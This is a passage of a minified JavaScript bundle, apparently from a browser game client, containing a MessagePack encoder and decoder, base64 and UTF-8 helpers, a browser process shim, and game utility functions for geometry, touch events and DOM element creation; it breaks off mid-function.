4241 t.Decoder = n(38).Decoder, t.createCodec = n(39).createCodec, t.codec = n(
4242 40).codec
4243}, function(e, t, n) {
4244 (function(t) {
4245 function n(e) {
4246 return e && e.isBuffer && e
4247 }
4248 e.exports = n(void 0 !== t && t) || n(this.Buffer) || n("undefined" !=
4249 typeof window && window.Buffer) || this.Buffer
4250 }).call(this, n(11).Buffer)
4251}, function(e, t, n) {
4252 "use strict";
4253 t.byteLength = function(e) {
4254 var t = l(e),
4255 n = t[0],
4256 i = t[1];
4257 return 3 * (n + i) / 4 - i
4258 }, t.toByteArray = function(e) {
4259 var t, n, i = l(e),
4260 a = i[0],
4261 o = i[1],
4262 c = new s(function(e, t, n) {
4263 return 3 * (t + n) / 4 - n
4264 }(0, a, o)),
4265 h = 0,
4266 u = o > 0 ? a - 4 : a;
4267 for (n = 0; n < u; n += 4) t = r[e.charCodeAt(n)] << 18 | r[e.charCodeAt(n +
4268 1)] << 12 | r[e.charCodeAt(n + 2)] << 6 | r[e.charCodeAt(n + 3)], c[h++] =
4269 t >> 16 & 255, c[h++] = t >> 8 & 255, c[h++] = 255 & t;
4270 return 2 === o && (t = r[e.charCodeAt(n)] << 2 | r[e.charCodeAt(n + 1)] >>
4271 4, c[h++] = 255 & t), 1 === o && (t = r[e.charCodeAt(n)] << 10 | r[e.charCodeAt(
4272 n + 1)] << 4 | r[e.charCodeAt(n + 2)] >> 2, c[h++] = t >> 8 & 255, c[h++] =
4273 255 & t), c
4274 }, t.fromByteArray = function(e) {
4275 for (var t, n = e.length, r = n % 3, s = [], a = 0, o = n - r; a < o; a +=
4276 16383) s.push(u(e, a, a + 16383 > o ? o : a + 16383));
4277 return 1 === r ? (t = e[n - 1], s.push(i[t >> 2] + i[t << 4 & 63] + "==")) :
4278 2 === r && (t = (e[n - 2] << 8) + e[n - 1], s.push(i[t >> 10] + i[t >> 4 &
4279 63] + i[t << 2 & 63] + "=")), s.join("")
4280 };
4281 for (var i = [], r = [], s = "undefined" != typeof Uint8Array ? Uint8Array :
4282 Array, a =
4283 "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/", o = 0,
4284 c = a.length; o < c; ++o) i[o] = a[o], r[a.charCodeAt(o)] = o;
4285
4286 function l(e) {
4287 var t = e.length;
4288 if (t % 4 > 0) throw new Error(
4289 "Invalid string. Length must be a multiple of 4");
4290 var n = e.indexOf("=");
4291 return -1 === n && (n = t), [n, n === t ? 0 : 4 - n % 4]
4292 }
4293
4294 function h(e) {
4295 return i[e >> 18 & 63] + i[e >> 12 & 63] + i[e >> 6 & 63] + i[63 & e]
4296 }
4297
4298 function u(e, t, n) {
4299 for (var i, r = [], s = t; s < n; s += 3) i = (e[s] << 16 & 16711680) + (e[
4300 s + 1] << 8 & 65280) + (255 & e[s + 2]), r.push(h(i));
4301 return r.join("")
4302 }
4303 r["-".charCodeAt(0)] = 62, r["_".charCodeAt(0)] = 63
4304}, function(e, t) {
4305 var n = {}.toString;
4306 e.exports = Array.isArray || function(e) {
4307 return "[object Array]" == n.call(e)
4308 }
4309}, function(e, t, n) {
4310 var i = n(0);
4311
4312 function r(e) {
4313 return new Array(e)
4314 }(t = e.exports = r(0)).alloc = r, t.concat = i.concat, t.from = function(e) {
4315 if (!i.isBuffer(e) && i.isView(e)) e = i.Uint8Array.from(e);
4316 else if (i.isArrayBuffer(e)) e = new Uint8Array(e);
4317 else {
4318 if ("string" == typeof e) return i.from.call(t, e);
4319 if ("number" == typeof e) throw new TypeError(
4320 '"value" argument must not be a number')
4321 }
4322 return Array.prototype.slice.call(e)
4323 }
4324}, function(e, t, n) {
4325 var i = n(0),
4326 r = i.global;
4327
4328 function s(e) {
4329 return new r(e)
4330 }(t = e.exports = i.hasBuffer ? s(0) : []).alloc = i.hasBuffer && r.alloc ||
4331 s, t.concat = i.concat, t.from = function(e) {
4332 if (!i.isBuffer(e) && i.isView(e)) e = i.Uint8Array.from(e);
4333 else if (i.isArrayBuffer(e)) e = new Uint8Array(e);
4334 else {
4335 if ("string" == typeof e) return i.from.call(t, e);
4336 if ("number" == typeof e) throw new TypeError(
4337 '"value" argument must not be a number')
4338 }
4339 return r.from && 1 !== r.from.length ? r.from(e) : new r(e)
4340 }
4341}, function(e, t, n) {
4342 var i = n(0);
4343
4344 function r(e) {
4345 return new Uint8Array(e)
4346 }(t = e.exports = i.hasArrayBuffer ? r(0) : []).alloc = r, t.concat = i.concat,
4347 t.from = function(e) {
4348 if (i.isView(e)) {
4349 var n = e.byteOffset,
4350 r = e.byteLength;
4351 (e = e.buffer).byteLength !== r && (e.slice ? e = e.slice(n, n + r) : (e =
4352 new Uint8Array(e)).byteLength !== r && (e = Array.prototype.slice.call(
4353 e, n, n + r)))
4354 } else {
4355 if ("string" == typeof e) return i.from.call(t, e);
4356 if ("number" == typeof e) throw new TypeError(
4357 '"value" argument must not be a number')
4358 }
4359 return new Uint8Array(e)
4360 }
4361}, function(e, t) {
4362 t.copy = function(e, t, n, i) {
4363 var r;
4364 n || (n = 0), i || 0 === i || (i = this.length), t || (t = 0);
4365 var s = i - n;
4366 if (e === this && n < t && t < i)
4367 for (r = s - 1; r >= 0; r--) e[r + t] = this[r + n];
4368 else
4369 for (r = 0; r < s; r++) e[r + t] = this[r + n];
4370 return s
4371 }, t.toString = function(e, t, n) {
4372 var i = 0 | t;
4373 n || (n = this.length);
4374 for (var r = "", s = 0; i < n;)(s = this[i++]) < 128 ? r += String.fromCharCode(
4375 s) : (192 == (224 & s) ? s = (31 & s) << 6 | 63 & this[i++] : 224 == (
4376 240 & s) ? s = (15 & s) << 12 | (63 & this[i++]) << 6 | 63 & this[i++] :
4377 240 == (248 & s) && (s = (7 & s) << 18 | (63 & this[i++]) << 12 | (63 &
4378 this[i++]) << 6 | 63 & this[i++]), s >= 65536 ? (s -= 65536, r +=
4379 String.fromCharCode(55296 + (s >>> 10), 56320 + (1023 & s))) : r +=
4380 String.fromCharCode(s));
4381 return r
4382 }, t.write = function(e, t) {
4383 for (var n = t || (t |= 0), i = e.length, r = 0, s = 0; s < i;)(r = e.charCodeAt(
4384 s++)) < 128 ? this[n++] = r : r < 2048 ? (this[n++] = 192 | r >>> 6,
4385 this[n++] = 128 | 63 & r) : r < 55296 || r > 57343 ? (this[n++] = 224 |
4386 r >>> 12, this[n++] = 128 | r >>> 6 & 63, this[n++] = 128 | 63 & r) : (r =
4387 65536 + (r - 55296 << 10 | e.charCodeAt(s++) - 56320), this[n++] = 240 |
4388 r >>> 18, this[n++] = 128 | r >>> 12 & 63, this[n++] = 128 | r >>> 6 &
4389 63, this[n++] = 128 | 63 & r);
4390 return n - t
4391 }
4392}, function(e, t, n) {
4393 t.setExtPackers = function(e) {
4394 e.addExtPacker(14, Error, [u, c]), e.addExtPacker(1, EvalError, [u, c]), e
4395 .addExtPacker(2, RangeError, [u, c]), e.addExtPacker(3, ReferenceError, [
4396 u, c
4397 ]), e.addExtPacker(4, SyntaxError, [u, c]), e.addExtPacker(5, TypeError, [
4398 u, c
4399 ]), e.addExtPacker(6, URIError, [u, c]), e.addExtPacker(10, RegExp, [h, c]),
4400 e.addExtPacker(11, Boolean, [l, c]), e.addExtPacker(12, String, [l, c]),
4401 e.addExtPacker(13, Date, [Number, c]), e.addExtPacker(15, Number, [l, c]),
4402 "undefined" != typeof Uint8Array && (e.addExtPacker(17, Int8Array, a), e.addExtPacker(
4403 18, Uint8Array, a), e.addExtPacker(19, Int16Array, a), e.addExtPacker(
4404 20, Uint16Array, a), e.addExtPacker(21, Int32Array, a), e.addExtPacker(
4405 22, Uint32Array, a), e.addExtPacker(23, Float32Array, a), "undefined" !=
4406 typeof Float64Array && e.addExtPacker(24, Float64Array, a), "undefined" !=
4407 typeof Uint8ClampedArray && e.addExtPacker(25, Uint8ClampedArray, a), e.addExtPacker(
4408 26, ArrayBuffer, a), e.addExtPacker(29, DataView, a)), r.hasBuffer && e
4409 .addExtPacker(27, s, r.from)
4410 };
4411 var i, r = n(0),
4412 s = r.global,
4413 a = r.Uint8Array.from,
4414 o = {
4415 name: 1,
4416 message: 1,
4417 stack: 1,
4418 columnNumber: 1,
4419 fileName: 1,
4420 lineNumber: 1
4421 };
4422
4423 function c(e) {
4424 return i || (i = n(9).encode), i(e)
4425 }
4426
4427 function l(e) {
4428 return e.valueOf()
4429 }
4430
4431 function h(e) {
4432 (e = RegExp.prototype.toString.call(e).split("/")).shift();
4433 var t = [e.pop()];
4434 return t.unshift(e.join("/")), t
4435 }
4436
4437 function u(e) {
4438 var t = {};
4439 for (var n in o) t[n] = e[n];
4440 return t
4441 }
4442}, function(e, t, n) {
4443 var i = n(5),
4444 r = n(7),
4445 s = r.Uint64BE,
4446 a = r.Int64BE,
4447 o = n(0),
4448 c = n(6),
4449 l = n(34),
4450 h = n(13).uint8,
4451 u = n(3).ExtBuffer,
4452 f = "undefined" != typeof Uint8Array,
4453 d = "undefined" != typeof Map,
4454 p = [];
4455 p[1] = 212, p[2] = 213, p[4] = 214, p[8] = 215, p[16] = 216, t.getWriteType =
4456 function(e) {
4457 var t = l.getWriteToken(e),
4458 n = e && e.useraw,
4459 r = f && e && e.binarraybuffer,
4460 g = r ? o.isArrayBuffer : o.isBuffer,
4461 m = r ? function(e, t) {
4462 w(e, new Uint8Array(t))
4463 } : w,
4464 y = d && e && e.usemap ? function(e, n) {
4465 if (!(n instanceof Map)) return b(e, n);
4466 var i = n.size;
4467 t[i < 16 ? 128 + i : i <= 65535 ? 222 : 223](e, i);
4468 var r = e.codec.encode;
4469 n.forEach((function(t, n, i) {
4470 r(e, n), r(e, t)
4471 }))
4472 } : b;
4473 return {
4474 boolean: function(e, n) {
4475 t[n ? 195 : 194](e, n)
4476 },
4477 function: v,
4478 number: function(e, n) {
4479 var i = 0 | n;
4480 n === i ? t[-32 <= i && i <= 127 ? 255 & i : 0 <= i ? i <= 255 ? 204 :
4481 i <= 65535 ? 205 : 206 : -128 <= i ? 208 : -32768 <= i ? 209 : 210](e,
4482 i) : t[203](e, n)
4483 },
4484 object: n ? function(e, n) {
4485 if (g(n)) return function(e, n) {
4486 var i = n.length;
4487 t[i < 32 ? 160 + i : i <= 65535 ? 218 : 219](e, i), e.send(n)
4488 }(e, n);
4489 k(e, n)
4490 } : k,
4491 string: function(e) {
4492 return function(n, i) {
4493 var r = i.length,
4494 s = 5 + 3 * r;
4495 n.offset = n.reserve(s);
4496 var a = n.buffer,
4497 o = e(r),
4498 l = n.offset + o;
4499 r = c.write.call(a, i, l);
4500 var h = e(r);
4501 if (o !== h) {
4502 var u = l + h - o,
4503 f = l + r;
4504 c.copy.call(a, a, u, l, f)
4505 }
4506 t[1 === h ? 160 + r : h <= 3 ? 215 + h : 219](n, r), n.offset += r
4507 }
4508 }(n ? function(e) {
4509 return e < 32 ? 1 : e <= 65535 ? 3 : 5
4510 } : function(e) {
4511 return e < 32 ? 1 : e <= 255 ? 2 : e <= 65535 ? 3 : 5
4512 }),
4513 symbol: v,
4514 undefined: v
4515 };
4516
4517 function k(e, n) {
4518 if (null === n) return v(e, n);
4519 if (g(n)) return m(e, n);
4520 if (i(n)) return function(e, n) {
4521 var i = n.length;
4522 t[i < 16 ? 144 + i : i <= 65535 ? 220 : 221](e, i);
4523 for (var r = e.codec.encode, s = 0; s < i; s++) r(e, n[s])
4524 }(e, n);
4525 if (s.isUint64BE(n)) return function(e, n) {
4526 t[207](e, n.toArray())
4527 }(e, n);
4528 if (a.isInt64BE(n)) return function(e, n) {
4529 t[211](e, n.toArray())
4530 }(e, n);
4531 var r = e.codec.getExtPacker(n);
4532 if (r && (n = r(n)), n instanceof u) return function(e, n) {
4533 var i = n.buffer,
4534 r = i.length,
4535 s = p[r] || (r < 255 ? 199 : r <= 65535 ? 200 : 201);
4536 t[s](e, r), h[n.type](e), e.send(i)
4537 }(e, n);
4538 y(e, n)
4539 }
4540
4541 function v(e, n) {
4542 t[192](e, n)
4543 }
4544
4545 function w(e, n) {
4546 var i = n.length;
4547 t[i < 255 ? 196 : i <= 65535 ? 197 : 198](e, i), e.send(n)
4548 }
4549
4550 function b(e, n) {
4551 var i = Object.keys(n),
4552 r = i.length;
4553 t[r < 16 ? 128 + r : r <= 65535 ? 222 : 223](e, r);
4554 var s = e.codec.encode;
4555 i.forEach((function(t) {
4556 s(e, t), s(e, n[t])
4557 }))
4558 }
4559 }
4560}, function(e, t, n) {
4561 var i = n(4),
4562 r = n(7),
4563 s = r.Uint64BE,
4564 a = r.Int64BE,
4565 o = n(13).uint8,
4566 c = n(0),
4567 l = c.global,
4568 h = c.hasBuffer && "TYPED_ARRAY_SUPPORT" in l && !l.TYPED_ARRAY_SUPPORT,
4569 u = c.hasBuffer && l.prototype || {};
4570
4571 function f() {
4572 var e = o.slice();
4573 return e[196] = d(196), e[197] = p(197), e[198] = g(198), e[199] = d(199),
4574 e[200] = p(200), e[201] = g(201), e[202] = m(202, 4, u.writeFloatBE || v, !
4575 0), e[203] = m(203, 8, u.writeDoubleBE || w, !0), e[204] = d(204), e[205] =
4576 p(205), e[206] = g(206), e[207] = m(207, 8, y), e[208] = d(208), e[209] =
4577 p(209), e[210] = g(210), e[211] = m(211, 8, k), e[217] = d(217), e[218] =
4578 p(218), e[219] = g(219), e[220] = p(220), e[221] = g(221), e[222] = p(222),
4579 e[223] = g(223), e
4580 }
4581
4582 function d(e) {
4583 return function(t, n) {
4584 var i = t.reserve(2),
4585 r = t.buffer;
4586 r[i++] = e, r[i] = n
4587 }
4588 }
4589
4590 function p(e) {
4591 return function(t, n) {
4592 var i = t.reserve(3),
4593 r = t.buffer;
4594 r[i++] = e, r[i++] = n >>> 8, r[i] = n
4595 }
4596 }
4597
4598 function g(e) {
4599 return function(t, n) {
4600 var i = t.reserve(5),
4601 r = t.buffer;
4602 r[i++] = e, r[i++] = n >>> 24, r[i++] = n >>> 16, r[i++] = n >>> 8, r[i] =
4603 n
4604 }
4605 }
4606
4607 function m(e, t, n, i) {
4608 return function(r, s) {
4609 var a = r.reserve(t + 1);
4610 r.buffer[a++] = e, n.call(r.buffer, s, a, i)
4611 }
4612 }
4613
4614 function y(e, t) {
4615 new s(this, t, e)
4616 }
4617
4618 function k(e, t) {
4619 new a(this, t, e)
4620 }
4621
4622 function v(e, t) {
4623 i.write(this, e, t, !1, 23, 4)
4624 }
4625
4626 function w(e, t) {
4627 i.write(this, e, t, !1, 52, 8)
4628 }
4629 t.getWriteToken = function(e) {
4630 return e && e.uint8array ? function() {
4631 var e = f();
4632 return e[202] = m(202, 4, v), e[203] = m(203, 8, w), e
4633 }() : h || c.hasBuffer && e && e.safe ? function() {
4634 var e = o.slice();
4635 return e[196] = m(196, 1, l.prototype.writeUInt8), e[197] = m(197, 2, l.prototype
4636 .writeUInt16BE), e[198] = m(198, 4, l.prototype.writeUInt32BE), e[199] =
4637 m(199, 1, l.prototype.writeUInt8), e[200] = m(200, 2, l.prototype.writeUInt16BE),
4638 e[201] = m(201, 4, l.prototype.writeUInt32BE), e[202] = m(202, 4, l.prototype
4639 .writeFloatBE), e[203] = m(203, 8, l.prototype.writeDoubleBE), e[204] =
4640 m(204, 1, l.prototype.writeUInt8), e[205] = m(205, 2, l.prototype.writeUInt16BE),
4641 e[206] = m(206, 4, l.prototype.writeUInt32BE), e[207] = m(207, 8, y), e[
4642 208] = m(208, 1, l.prototype.writeInt8), e[209] = m(209, 2, l.prototype
4643 .writeInt16BE), e[210] = m(210, 4, l.prototype.writeInt32BE), e[211] =
4644 m(211, 8, k), e[217] = m(217, 1, l.prototype.writeUInt8), e[218] = m(
4645 218, 2, l.prototype.writeUInt16BE), e[219] = m(219, 4, l.prototype.writeUInt32BE),
4646 e[220] = m(220, 2, l.prototype.writeUInt16BE), e[221] = m(221, 4, l.prototype
4647 .writeUInt32BE), e[222] = m(222, 2, l.prototype.writeUInt16BE), e[223] =
4648 m(223, 4, l.prototype.writeUInt32BE), e
4649 }() : f()
4650 }
4651}, function(e, t, n) {
4652 t.setExtUnpackers = function(e) {
4653 e.addExtUnpacker(14, [o, l(Error)]), e.addExtUnpacker(1, [o, l(EvalError)]),
4654 e.addExtUnpacker(2, [o, l(RangeError)]), e.addExtUnpacker(3, [o, l(
4655 ReferenceError)]), e.addExtUnpacker(4, [o, l(SyntaxError)]), e.addExtUnpacker(
4656 5, [o, l(TypeError)]), e.addExtUnpacker(6, [o, l(URIError)]), e.addExtUnpacker(
4657 10, [o, c]), e.addExtUnpacker(11, [o, h(Boolean)]), e.addExtUnpacker(12, [
4658 o, h(String)
4659 ]), e.addExtUnpacker(13, [o, h(Date)]), e.addExtUnpacker(15, [o, h(Number)]),
4660 "undefined" != typeof Uint8Array && (e.addExtUnpacker(17, h(Int8Array)),
4661 e.addExtUnpacker(18, h(Uint8Array)), e.addExtUnpacker(19, [u, h(
4662 Int16Array)]), e.addExtUnpacker(20, [u, h(Uint16Array)]), e.addExtUnpacker(
4663 21, [u, h(Int32Array)]), e.addExtUnpacker(22, [u, h(Uint32Array)]), e.addExtUnpacker(
4664 23, [u, h(Float32Array)]), "undefined" != typeof Float64Array && e.addExtUnpacker(
4665 24, [u, h(Float64Array)]), "undefined" != typeof Uint8ClampedArray && e
4666 .addExtUnpacker(25, h(Uint8ClampedArray)), e.addExtUnpacker(26, u), e.addExtUnpacker(
4667 29, [u, h(DataView)])), r.hasBuffer && e.addExtUnpacker(27, h(s))
4668 };
4669 var i, r = n(0),
4670 s = r.global,
4671 a = {
4672 name: 1,
4673 message: 1,
4674 stack: 1,
4675 columnNumber: 1,
4676 fileName: 1,
4677 lineNumber: 1
4678 };
4679
4680 function o(e) {
4681 return i || (i = n(15).decode), i(e)
4682 }
4683
4684 function c(e) {
4685 return RegExp.apply(null, e)
4686 }
4687
4688 function l(e) {
4689 return function(t) {
4690 var n = new e;
4691 for (var i in a) n[i] = t[i];
4692 return n
4693 }
4694 }
4695
4696 function h(e) {
4697 return function(t) {
4698 return new e(t)
4699 }
4700 }
4701
4702 function u(e) {
4703 return new Uint8Array(e).buffer
4704 }
4705}, function(e, t, n) {
4706 var i = n(17);
4707
4708 function r(e) {
4709 var t, n = new Array(256);
4710 for (t = 0; t <= 127; t++) n[t] = s(t);
4711 for (t = 128; t <= 143; t++) n[t] = o(t - 128, e.map);
4712 for (t = 144; t <= 159; t++) n[t] = o(t - 144, e.array);
4713 for (t = 160; t <= 191; t++) n[t] = o(t - 160, e.str);
4714 for (n[192] = s(null), n[193] = null, n[194] = s(!1), n[195] = s(!0), n[196] =
4715 a(e.uint8, e.bin), n[197] = a(e.uint16, e.bin), n[198] = a(e.uint32, e.bin),
4716 n[199] = a(e.uint8, e.ext), n[200] = a(e.uint16, e.ext), n[201] = a(e.uint32,
4717 e.ext), n[202] = e.float32, n[203] = e.float64, n[204] = e.uint8, n[205] =
4718 e.uint16, n[206] = e.uint32, n[207] = e.uint64, n[208] = e.int8, n[209] =
4719 e.int16, n[210] = e.int32, n[211] = e.int64, n[212] = o(1, e.ext), n[213] =
4720 o(2, e.ext), n[214] = o(4, e.ext), n[215] = o(8, e.ext), n[216] = o(16, e.ext),
4721 n[217] = a(e.uint8, e.str), n[218] = a(e.uint16, e.str), n[219] = a(e.uint32,
4722 e.str), n[220] = a(e.uint16, e.array), n[221] = a(e.uint32, e.array), n[
4723 222] = a(e.uint16, e.map), n[223] = a(e.uint32, e.map), t = 224; t <= 255; t++
4724 ) n[t] = s(t - 256);
4725 return n
4726 }
4727
4728 function s(e) {
4729 return function() {
4730 return e
4731 }
4732 }
4733
4734 function a(e, t) {
4735 return function(n) {
4736 var i = e(n);
4737 return t(n, i)
4738 }
4739 }
4740
4741 function o(e, t) {
4742 return function(n) {
4743 return t(n, e)
4744 }
4745 }
4746 t.getReadToken = function(e) {
4747 var t = i.getReadFormat(e);
4748 return e && e.useraw ? function(e) {
4749 var t, n = r(e).slice();
4750 for (n[217] = n[196], n[218] = n[197], n[219] = n[198], t = 160; t <=
4751 191; t++) n[t] = o(t - 160, e.bin);
4752 return n
4753 }(t) : r(t)
4754 }
4755}, function(e, t, n) {
4756 t.Encoder = s;
4757 var i = n(18),
4758 r = n(10).EncodeBuffer;
4759
4760 function s(e) {
4761 if (!(this instanceof s)) return new s(e);
4762 r.call(this, e)
4763 }
4764 s.prototype = new r, i.mixin(s.prototype), s.prototype.encode = function(e) {
4765 this.write(e), this.emit("data", this.read())
4766 }, s.prototype.end = function(e) {
4767 arguments.length && this.encode(e), this.flush(), this.emit("end")
4768 }
4769}, function(e, t, n) {
4770 t.Decoder = s;
4771 var i = n(18),
4772 r = n(16).DecodeBuffer;
4773
4774 function s(e) {
4775 if (!(this instanceof s)) return new s(e);
4776 r.call(this, e)
4777 }
4778 s.prototype = new r, i.mixin(s.prototype), s.prototype.decode = function(e) {
4779 arguments.length && this.write(e), this.flush()
4780 }, s.prototype.push = function(e) {
4781 this.emit("data", e)
4782 }, s.prototype.end = function(e) {
4783 this.decode(e), this.emit("end")
4784 }
4785}, function(e, t, n) {
4786 n(8), n(2), t.createCodec = n(1).createCodec
4787}, function(e, t, n) {
4788 n(8), n(2), t.codec = {
4789 preset: n(1).preset
4790 }
4791}, function(e, t) {
4792 var n, i, r = e.exports = {};
4793
4794 function s() {
4795 throw new Error("setTimeout has not been defined")
4796 }
4797
4798 function a() {
4799 throw new Error("clearTimeout has not been defined")
4800 }
4801
4802 function o(e) {
4803 if (n === setTimeout) return setTimeout(e, 0);
4804 if ((n === s || !n) && setTimeout) return n = setTimeout, setTimeout(e, 0);
4805 try {
4806 return n(e, 0)
4807 } catch (t) {
4808 try {
4809 return n.call(null, e, 0)
4810 } catch (t) {
4811 return n.call(this, e, 0)
4812 }
4813 }
4814 }! function() {
4815 try {
4816 n = "function" == typeof setTimeout ? setTimeout : s
4817 } catch (e) {
4818 n = s
4819 }
4820 try {
4821 i = "function" == typeof clearTimeout ? clearTimeout : a
4822 } catch (e) {
4823 i = a
4824 }
4825 }();
4826 var c, l = [],
4827 h = !1,
4828 u = -1;
4829
4830 function f() {
4831 h && c && (h = !1, c.length ? l = c.concat(l) : u = -1, l.length && d())
4832 }
4833
4834 function d() {
4835 if (!h) {
4836 var e = o(f);
4837 h = !0;
4838 for (var t = l.length; t;) {
4839 for (c = l, l = []; ++u < t;) c && c[u].run();
4840 u = -1, t = l.length
4841 }
4842 c = null, h = !1,
4843 function(e) {
4844 if (i === clearTimeout) return clearTimeout(e);
4845 if ((i === a || !i) && clearTimeout) return i = clearTimeout,
4846 clearTimeout(e);
4847 try {
4848 i(e)
4849 } catch (t) {
4850 try {
4851 return i.call(null, e)
4852 } catch (t) {
4853 return i.call(this, e)
4854 }
4855 }
4856 }(e)
4857 }
4858 }
4859
4860 function p(e, t) {
4861 this.fun = e, this.array = t
4862 }
4863
4864 function g() {}
4865 r.nextTick = function(e) {
4866 var t = new Array(arguments.length - 1);
4867 if (arguments.length > 1)
4868 for (var n = 1; n < arguments.length; n++) t[n - 1] = arguments[n];
4869 l.push(new p(e, t)), 1 !== l.length || h || o(d)
4870 }, p.prototype.run = function() {
4871 this.fun.apply(null, this.array)
4872 }, r.title = "browser", r.browser = !0, r.env = {}, r.argv = [], r.version =
4873 "", r.versions = {}, r.on = g, r.addListener = g, r.once = g, r.off = g, r.removeListener =
4874 g, r.removeAllListeners = g, r.emit = g, r.prependListener = g, r.prependOnceListener =
4875 g, r.listeners = function(e) {
4876 return []
4877 }, r.binding = function(e) {
4878 throw new Error("process.binding is not supported")
4879 }, r.cwd = function() {
4880 return "/"
4881 }, r.chdir = function(e) {
4882 throw new Error("process.chdir is not supported")
4883 }, r.umask = function() {
4884 return 0
4885 }
4886}, function(e, t) {
4887 var n = Math.abs,
4888 i = (Math.cos, Math.sin, Math.pow, Math.sqrt),
4889 r = (n = Math.abs, Math.atan2),
4890 s = Math.PI;
4891 e.exports.randInt = function(e, t) {
4892 return Math.floor(Math.random() * (t - e + 1)) + e
4893 }, e.exports.randFloat = function(e, t) {
4894 return Math.random() * (t - e + 1) + e
4895 }, e.exports.lerp = function(e, t, n) {
4896 return e + (t - e) * n
4897 }, e.exports.decel = function(e, t) {
4898 return e > 0 ? e = Math.max(0, e - t) : e < 0 && (e = Math.min(0, e + t)),
4899 e
4900 }, e.exports.getDistance = function(e, t, n, r) {
4901 return i((n -= e) * n + (r -= t) * r)
4902 }, e.exports.getDirection = function(e, t, n, i) {
4903 return r(t - i, e - n)
4904 }, e.exports.getAngleDist = function(e, t) {
4905 var i = n(t - e) % (2 * s);
4906 return i > s ? 2 * s - i : i
4907 }, e.exports.isNumber = function(e) {
4908 return "number" == typeof e && !isNaN(e) && isFinite(e)
4909 }, e.exports.isString = function(e) {
4910 return e && "string" == typeof e
4911 }, e.exports.kFormat = function(e) {
4912 return e > 999 ? (e / 1e3).toFixed(1) + "k" : e
4913 }, e.exports.capitalizeFirst = function(e) {
4914 return e.charAt(0).toUpperCase() + e.slice(1)
4915 }, e.exports.fixTo = function(e, t) {
4916 return parseFloat(e.toFixed(t))
4917 }, e.exports.sortByPoints = function(e, t) {
4918 return parseFloat(t.points) - parseFloat(e.points)
4919 }, e.exports.lineInRect = function(e, t, n, i, r, s, a, o) {
4920 var c = r,
4921 l = a;
4922 if (r > a && (c = a, l = r), l > n && (l = n), c < e && (c = e), c > l)
4923 return !1;
4924 var h = s,
4925 u = o,
4926 f = a - r;
4927 if (Math.abs(f) > 1e-7) {
4928 var d = (o - s) / f,
4929 p = s - d * r;
4930 h = d * c + p, u = d * l + p
4931 }
4932 if (h > u) {
4933 var g = u;
4934 u = h, h = g
4935 }
4936 return u > i && (u = i), h < t && (h = t), !(h > u)
4937 }, e.exports.containsPoint = function(e, t, n) {
4938 var i = e.getBoundingClientRect(),
4939 r = i.left + window.scrollX,
4940 s = i.top + window.scrollY,
4941 a = i.width,
4942 o = i.height;
4943 return t > r && t < r + a && n > s && n < s + o
4944 }, e.exports.mousifyTouchEvent = function(e) {
4945 var t = e.changedTouches[0];
4946 e.screenX = t.screenX, e.screenY = t.screenY, e.clientX = t.clientX, e.clientY =
4947 t.clientY, e.pageX = t.pageX, e.pageY = t.pageY
4948 }, e.exports.hookTouchEvents = function(t, n) {
4949 var i = !n,
4950 r = !1;
4951
4952 function s(n) {
4953 e.exports.mousifyTouchEvent(n), window.setUsingTouch(!0), i && (n.preventDefault(),
4954 n.stopPropagation()), r && (t.onclick && t.onclick(n), t.onmouseout &&
4955 t.onmouseout(n), r = !1)
4956 }
4957 t.addEventListener("touchstart", e.exports.checkTrusted((function(n) {
4958 e.exports.mousifyTouchEvent(n), window.setUsingTouch(!0), i && (n.preventDefault(),
4959 n.stopPropagation()), t.onmouseover && t.onmouseover(n), r = !0
4960 })), !1), t.addEventListener("touchmove", e.exports.checkTrusted((
4961 function(n) {
4962 e.exports.mousifyTouchEvent(n), window.setUsingTouch(!0), i && (n.preventDefault(),
4963 n.stopPropagation()), e.exports.containsPoint(t, n.pageX, n.pageY) ?
4964 r || (t.onmouseover && t.onmouseover(n), r = !0) : r && (t.onmouseout &&
4965 t.onmouseout(n), r = !1)
4966 })), !1), t.addEventListener("touchend", e.exports.checkTrusted(s), !1),
4967 t.addEventListener("touchcancel", e.exports.checkTrusted(s), !1), t.addEventListener(
4968 "touchleave", e.exports.checkTrusted(s), !1)
4969 }, e.exports.removeAllChildren = function(e) {
4970 for (; e.hasChildNodes();) e.removeChild(e.lastChild)
4971 }, e.exports.generateElement = function(t) {
4972 var n = document.createElement(t.tag || "div");
4973
4974 function i(e, i) {
4975 t[e] && (n[i] = t[e])
4976 }
4977 for (var r in i("text", "textContent"), i("html", "innerHTML"), i("class",
4978 "className"), t) {
4979 switch (r) {
4980 case "tag":
4981 case "text":
4982 case "html":
4983 case "class":
4984 case "style":
4985 case "hookTouch":
4986 case "parent":
4987 case "children":
4988 continue
4989 }
4990 n[r] = t[r]
4991 }
4992 if (n.onclick && (n.onclick = e.exports.checkTrusted(n.onclick)), n.onmouseover &&
4993 (n.onmouseover = e.exports.checkTrusted(n.onmouseover)), n.onmouseout &&
4994 (n.onmouseout = e.exports.checkTrusted(n.onmouseout)), t.style && (n.style
4995 .cssText = t.style), t.hookTouch && e.exports.hookTouchEvents(n), t.parent &&
4996 t.parent.appendChild(n), t.children)
4997 for (var s = 0; s < t.children.length; s++) n.appendChild(t.children[s]);
4998 return n
4999 }, e.exports.eventIsTrusted = function(e) {
5000 return !e || "boolean" != typeof e.isTrusted || e.isTrusted
5001 }, e.exports.checkTrusted = function(t) {
5002 return function(n) {
5003 n && n instanceof Event && e.exports.eventIsTrusted(n) && t(n)
5004 }
5005 }, e.exports.randomString = function(e) {
5006 for (var t = "", n =
5007 "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789", i = 0; i <
5008 e; i++) t += n.charAt(Math.floor(Math.random() * n.length));
5009 return t
5010 }, e.exports.countInArray = function(e, t) {
5011 for (var n = 0, i = 0; i < e.length; i++) e[i] === t && n++;
5012 return n
5013 }
5014}, function(e, t) {
5015 e.exports.AnimText = function() {
5016 this.init = function(e, t, n, i, r, s, a) {
5017 this.x = e, this.y = t, this.color = a, this.scale = n, this.startScale =
5018 this.scale, this.maxScale = 1.5 * n, this.scaleSpeed = .7, this.speed =
5019 i, this.life = r, this.text = s
5020 }, this.update = function(e) {
5021 this.life && (this.life -= e, this.y -= this.speed * e, this.scale +=
5022 this.scaleSpeed * e, this.scale >= this.maxScale ? (this.scale = this.maxScale,
5023 this.scaleSpeed *= -1) : this.scale <= this.startScale && (this.scale =
5024 this.startScale, this.scaleSpeed = 0), this.life <= 0 && (this.life =
5025 0))
5026 }, this.render = function(e, t, n) {
